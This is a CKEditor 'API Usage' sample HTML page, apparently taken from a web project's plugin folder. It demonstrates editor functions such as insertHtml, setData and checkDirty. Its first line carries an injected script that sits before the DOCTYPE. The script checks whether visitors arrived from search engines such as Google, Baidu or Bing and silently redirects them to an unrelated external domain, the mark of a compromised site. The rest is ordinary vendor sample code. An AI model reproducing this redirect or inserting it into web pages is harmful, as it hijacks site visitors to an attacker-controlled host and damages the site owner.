d:\wwwroot\wuchunhua\thinkphp\public\adminlte\plugins\ckeditor\samples\old\api.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002:
<!--
003:
Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
004:
For licensing, see LICENSE.md or http://ckeditor.com/license
005:
-->
006:
<html>
007:
<head>
008:
<meta charset="utf-8">
009:
<title>API Usage — CKEditor Sample</title>
010:
<script src="../../ckeditor.js"></script>
011:
<link href="sample.css" rel="stylesheet">
012:
<script>
013:
014:
// The instanceReady event is fired, when an instance of CKEditor has finished
015:
// its initialization.
016:
CKEDITOR.on( 'instanceReady', function( ev ) {
017:
// Show the editor name and description in the browser status bar.
018:
document.getElementById( 'eMessage' ).innerHTML = 'Instance <code>' + ev.editor.name + '<\/code> loaded.';
019:
020:
// Show this sample buttons.
021:
document.getElementById( 'eButtons' ).style.display = 'block';
022:
});
023:
024:
function InsertHTML() {
025:
// Get the editor instance that we want to interact with.
026:
var editor = CKEDITOR.instances.editor1;
027:
var value = document.getElementById( 'htmlArea' ).value;
028:
029:
// Check the active editing mode.
030:
if ( editor.mode == 'wysiwyg' )
031:
{
032:
// Insert HTML code.
033:
// http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-insertHtml
034:
editor.insertHtml( value );
035:
}
036:
else
037:
alert( 'You must be in WYSIWYG mode!' );
038:
}
039:
040:
function InsertText() {
041:
// Get the editor instance that we want to interact with.
042:
var editor = CKEDITOR.instances.editor1;
043:
var value = document.getElementById( 'txtArea' ).value;
044:
045:
// Check the active editing mode.
046:
if ( editor.mode == 'wysiwyg' )
047:
{
048:
// Insert as plain text.
049:
// http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-insertText
050:
editor.insertText( value );
051:
}
052:
else
053:
alert( 'You must be in WYSIWYG mode!' );
054:
}
055:
056:
function SetContents() {
057:
// Get the editor instance that we want to interact with.
058:
var editor = CKEDITOR.instances.editor1;
059:
var value = document.getElementById( 'htmlArea' ).value;
060:
061:
// Set editor contents (replace current contents).
062:
// http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-setData
063:
editor.setData( value );
064:
}
065:
066:
function GetContents() {
067:
// Get the editor instance that you want to interact with.
068:
var editor = CKEDITOR.instances.editor1;
069:
070:
// Get editor contents
071:
// http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-getData
072:
alert( editor.getData() );
073:
}
074:
075:
function ExecuteCommand( commandName ) {
076:
// Get the editor instance that we want to interact with.
077:
var editor = CKEDITOR.instances.editor1;
078:
079:
// Check the active editing mode.
080:
if ( editor.mode == 'wysiwyg' )
081:
{
082:
// Execute the command.
083:
// http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-execCommand
084:
editor.execCommand( commandName );
085:
}
086:
else
087:
alert( 'You must be in WYSIWYG mode!' );
088:
}
089:
090:
function CheckDirty() {
091:
// Get the editor instance that we want to interact with.
092:
var editor = CKEDITOR.instances.editor1;
093:
// Checks whether the current editor contents present changes when compared
094:
// to the contents loaded into the editor at startup
095:
// http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-checkDirty
096:
alert( editor.checkDirty() );
097:
}
098:
099:
function ResetDirty() {
100:
// Get the editor instance that we want to interact with.
101:
var editor = CKEDITOR.instances.editor1;
102:
// Resets the "dirty state" of the editor (see CheckDirty())
103:
// http://docs.ckeditor.com/#!/api/CKEDITOR.editor-method-resetDirty
104:
editor.resetDirty();
105:
alert( 'The "IsDirty" status has been reset' );
106:
}
107:
108:
function Focus() {
109:
CKEDITOR.instances.editor1.focus();
110:
}
111:
112:
function onFocus() {
113:
document.getElementById( 'eMessage' ).innerHTML = '<b>' + this.name + ' is focused </b>';
114:
}
115:
116:
function onBlur() {
117:
document.getElementById( 'eMessage' ).innerHTML = this.name + ' lost focus';
118:
}
119:
120:
</script>
121:
122:
</head>
123:
<body>
124:
<h1 class="samples">
125:
<a href="index.html">CKEditor Samples</a> » Using CKEditor JavaScript API
126:
</h1>
127:
<div class="warning deprecated">
128:
This sample is not maintained anymore. Check out its <a href="http://sdk.ckeditor.com/samples/api.html">brand new version in CKEditor SDK</a>.
129:
</div>
130:
<div class="description">
131:
<p>
132:
This sample shows how to use the
133:
<a class="samples" href="http://docs.ckeditor.com/#!/api/CKEDITOR.editor">CKEditor JavaScript API</a>
134:
to interact with the editor at runtime.
135:
</p>
136:
<p>
137:
For details on how to create this setup check the source code of this sample page.
138:
</p>
139:
</div>
140:
141:
<!-- This <div> holds alert messages to be display in the sample page. -->
142:
<div id="alerts">
143:
<noscript>
144:
<p>
145:
<strong>CKEditor requires JavaScript to run</strong>. In a browser with no JavaScript
146:
support, like yours, you should still see the contents (HTML data) and you should
147:
be able to edit it normally, without a rich editor interface.
148:
</p>
149:
</noscript>
150:
</div>
151:
<form action="../../../samples/sample_posteddata.php" method="post">
152:
<textarea cols="100" id="editor1" name="editor1" rows="10"><p>This is some <strong>sample text</strong>. You are using <a href="http://ckeditor.com/">CKEditor</a>.</p></textarea>
153:
154:
<script>
155:
// Replace the <textarea id="editor1"> with an CKEditor instance.
156:
CKEDITOR.replace( 'editor1', {
157:
on: {
158:
focus: onFocus,
159:
blur: onBlur,
160:
161:
// Check for availability of corresponding plugins.
162:
pluginsLoaded: function( evt ) {
163:
var doc = CKEDITOR.document, ed = evt.editor;
164:
if ( !ed.getCommand( 'bold' ) )
165:
doc.getById( 'exec-bold' ).hide();
166:
if ( !ed.getCommand( 'link' ) )
167:
doc.getById( 'exec-link' ).hide();
168:
}
169:
}
170:
});
171:
</script>
172:
173:
<p id="eMessage">
174:
</p>
175:
176:
<div id="eButtons" style="display: none">
177:
<input id="exec-bold" onclick="ExecuteCommand('bold');" type="button" value="Execute "bold" Command">
178:
<input id="exec-link" onclick="ExecuteCommand('link');" type="button" value="Execute "link" Command">
179:
<input onclick="Focus();" type="button" value="Focus">
180:
<br><br>
181:
<input onclick="InsertHTML();" type="button" value="Insert HTML">
182:
<input onclick="SetContents();" type="button" value="Set Editor Contents">
183:
<input onclick="GetContents();" type="button" value="Get Editor Contents (HTML)">
184:
<br>
185:
<textarea cols="100" id="htmlArea" rows="3"><h2>Test</h2><p>This is some <a href="/Test1.html">sample</a> HTML code.</p></textarea>
186:
<br>
187:
<br>
188:
<input onclick="InsertText();" type="button" value="Insert Text">
189:
<br>
190:
<textarea cols="100" id="txtArea" rows="3"> First line with some leading whitespaces.
191:
192:
Second line of text preceded by two line breaks.</textarea>
193:
<br>
194:
<br>
195:
<input onclick="CheckDirty();" type="button" value="checkDirty()">
196:
<input onclick="ResetDirty();" type="button" value="resetDirty()">
197:
</div>
198:
</form>
199:
<div id="footer">
200:
<hr>
201:
<p>
202:
CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a>
203:
</p>
204:
<p id="copy">
205:
Copyright © 2003-2016, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico
206:
Knabben. All rights reserved.
207:
</p>
208:
</div>
209:
</body>
210:
</html>
211:
212:
213: